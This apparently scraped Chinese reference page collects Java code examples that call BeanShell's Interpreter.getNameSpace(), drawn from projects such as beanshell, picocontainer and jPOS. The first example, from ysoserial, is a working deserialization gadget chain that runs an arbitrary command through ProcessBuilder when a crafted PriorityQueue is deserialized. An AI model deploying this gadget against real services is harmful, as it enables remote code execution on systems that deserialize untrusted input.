bsh.Interpreter.getNameSpace()方法的使用及代码示例

x33g5p2x  于2022-01-21 转载在 其他  
字(7.9k)|赞(0)|评价(0)|浏览(138)

本文整理了Java中bsh.Interpreter.getNameSpace()方法的一些代码示例,展示了Interpreter.getNameSpace()的具体用法。这些代码示例主要来源于Github/Stackoverflow/Maven等平台,是从一些精选项目中提取出来的代码,具有较强的参考意义,能在一定程度帮忙到你。Interpreter.getNameSpace()方法的具体详情如下:
包路径:bsh.Interpreter
类名称:Interpreter
方法名:getNameSpace

Interpreter.getNameSpace介绍

[英]Get the global namespace of this interpreter.

Note: This is here for completeness. If you're using this a lot it may be an indication that you are doing more work than you have to. For example, caching the interpreter instance rather than the namespace should not add a significant overhead. No state other than the debug status is stored in the interpreter.

All features of the namespace can also be accessed using the interpreter via eval() and the script variable 'this.namespace' (or global.namespace as necessary).
[中]获取此解释器的全局命名空间。
注意:这是为了完整性。如果你经常使用这个,这可能表明你做的工作比你必须做的更多。例如,缓存解释器实例而不是命名空间不应该增加大量开销。解释器中不存储除调试状态以外的任何状态。
还可以使用解释器通过eval()和脚本变量“this”访问命名空间的所有功能。namespace'(或根据需要使用global.namespace)。

代码示例

代码示例来源:origin: frohoff/ysoserial

public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
  String payload =
    "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
      Strings.join( // does not support spaces in quotes
        Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
        ",", "\"", "\"") +
      "}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}

代码示例来源:origin: beanshell/beanshell

/**
  Construct a new interactive interpreter attached to the specified
  console using the specified parent interpreter assumes interpreter namesepace.
*/
public Interpreter(ConsoleInterface console, Interpreter parent) {
  this( console, parent.getNameSpace(), parent );
}

代码示例来源:origin: org.scijava/scripting-beanshell

public BeanshellBindings(final Interpreter interpreter) {
  this.interpreter = interpreter;
  nameSpace = interpreter.getNameSpace();
}

代码示例来源:origin: jitlogic/zorka

/**
  Get the class manager associated with this interpreter
  (the BshClassManager of this interpreter's global namespace).
  This is primarily a convenience method.
*/
public BshClassManager getClassManager() 
{
  return getNameSpace().getClassManager();
}

代码示例来源:origin: beanshell/beanshell

/**
  Get the class manager associated with this interpreter
  (the BshClassManager of this interpreter's global namespace).
  This is primarily a convenience method.
*/
public BshClassManager getClassManager()
{
  return getNameSpace().getClassManager();
}

代码示例来源:origin: org.zkoss.zk/zk

protected boolean contains(String name) {
  try {
    return _ip.getNameSpace().getVariable(name) != Primitive.VOID;
    //Primitive.VOID means not defined
  } catch (UtilEvalError ex) {
    throw UiException.Aide.wrap(ex);
  }
}

代码示例来源:origin: stackoverflow.com

Interpreter i = new Interpreter();
NameSpace ns = i.getNameSpace();
ns.setVariable("args", new String[]{"param1", "param2"}, false);
i.source("Target.bsh");

代码示例来源:origin: org.scijava/scripting-beanshell

@Override
public Object eval(final Reader reader) throws ScriptException {
  setup();
  try {
    final String filename = (String) get(ScriptEngine.FILENAME);
    return interpreter.eval(reader, interpreter.getNameSpace(), filename);
  }
  catch (final EvalError e) {
    throw new ScriptException(e);
  }
}

代码示例来源:origin: beanshell/beanshell

NameSpace globalNS = bsh.getNameSpace();
globalNS.setName("class_" + baseName + "_global");
globalNS.getClassManager().associateClass(genClass);

代码示例来源:origin: org.ofbiz/ofbcore-jira-share

NameSpace ns = bsh.getNameSpace();
String[] varNames = ns.getVariableNames();
for (int x = 0; x < varNames.length; x++) {

代码示例来源:origin: jitlogic/zorka

public Object invoke(final Map<String, ?> context) throws EvalError {
  final NameSpace nameSpace = new NameSpace(_interpreter.getClassManager(), "BeanshellExecutable");
  nameSpace.setParent(_interpreter.getNameSpace());
  final BshMethod method = new BshMethod(_method.getName(), _method.getReturnType(), _method.getParameterNames(), _method.getParameterTypes(), _method.methodBody, nameSpace, _method.getModifiers());
  for (final Map.Entry<String, ?> entry : context.entrySet()) {
    try {
      nameSpace.setVariable(entry.getKey(), entry.getValue(), false);
    } catch (final UtilEvalError e) {
      throw new EvalError("cannot set variable '" + entry.getKey() + '\'', null, null, e);
    }
  }
  final Object result = method.invoke(new Object[0], new BshEvaluatingVisitor(null, _interpreter));
  if (result instanceof Primitive) {
    if (( (Primitive) result).getType() == Void.TYPE) {
      return null;
    }
    return ( (Primitive) result).getValue();
  }
  return result;
}

代码示例来源:origin: beanshell/beanshell

public Object invoke(final Map<String, ?> context) throws EvalError {
  final NameSpace nameSpace = new NameSpace("BeanshellExecutable", _interpreter.getClassManager());
  nameSpace.setParent(_interpreter.getNameSpace());
  final BshMethod method = new BshMethod(_method.getName(), _method.getReturnType(),
      _method.getParameterNames(), _method.getParameterTypes(), _method.getParameterModifiers(),
      _method.methodBody, nameSpace, _method.getModifiers());
  for (final Map.Entry<String, ?> entry : context.entrySet()) {
    try {
      final Object value = entry.getValue();
      nameSpace.setVariable(entry.getKey(), value != null ? value : Primitive.NULL, false);
    } catch (final UtilEvalError e) {
      throw new EvalError("cannot set variable '" + entry.getKey() + '\'', null, null, e);
    }
  }
  final Object result = method.invoke(Reflect.ZERO_ARGS, _interpreter);
  if ( Types.getType(result) == Void.TYPE )
    return null;
  return Primitive.unwrap(result);
}

代码示例来源:origin: org.picocontainer.script/picocontainer-script-bsh

i.eval(sourceReader, i.getNameSpace(), scriptURL.toExternalForm());

代码示例来源:origin: picocontainer/picocontainer

i.eval(sourceReader, i.getNameSpace(), scriptURL.toExternalForm());

代码示例来源:origin: jpos/jPOS

saveNS instanceof Boolean ? (Boolean) saveNS :cfg.getBoolean("save-name-space");
  if(saveNameSpace) {
    if(info!=null) info.setNameSpace(bsh.getNameSpace());
    else scripts.put(sources[i], new ScriptInfo(bsh.getNameSpace()));
  }else if (info!=null) info.setNameSpace(null);
}catch(Exception e){

代码示例来源:origin: beanshell/beanshell

interpreter.getNameSpace().setNode(this);

代码示例来源:origin: org.picocontainer.script/picocontainer-script-bsh

protected PicoContainer createContainerFromScript(PicoContainer parentContainer, Object assemblyScope) {
    Interpreter i = new Interpreter();
    try {
      i.set("parent", parentContainer);
      i.set("assemblyScope", assemblyScope);
      i.setClassLoader(this.getClassLoader());
      i.eval(getScriptReader(), i.getNameSpace(), "picocontainer.bsh");
      return (PicoContainer) i.get("pico");
    } catch (EvalError e) {
      throw new ScriptedPicoContainerMarkupException(e);
    } catch (IOException e) {
      throw new ScriptedPicoContainerMarkupException(e);
    }
  }
}

代码示例来源:origin: picocontainer/picocontainer

@Override
  protected PicoContainer createContainerFromScript(final PicoContainer parentContainer, final Object assemblyScope) {
    Interpreter i = new Interpreter();
    try {
      i.set("parent", parentContainer);
      i.set("assemblyScope", assemblyScope);
      i.setClassLoader(this.getClassLoader());
      i.eval(getScriptReader(), i.getNameSpace(), "picocontainer.bsh");
      return (PicoContainer) i.get("pico");
    } catch (EvalError e) {
      throw new ScriptedPicoContainerMarkupException(e);
    } catch (IOException e) {
      throw new ScriptedPicoContainerMarkupException(e);
    }
  }
}

代码示例来源:origin: org.ofbiz/ofbcore-jira-share

return null;
NameSpace nameSpace = parentInterpreter.getNameSpace();
Object retVal = null;
if (Debug.verboseOn()) Debug.logVerbose("eval: nameSpace = " + nameSpace);

相关文章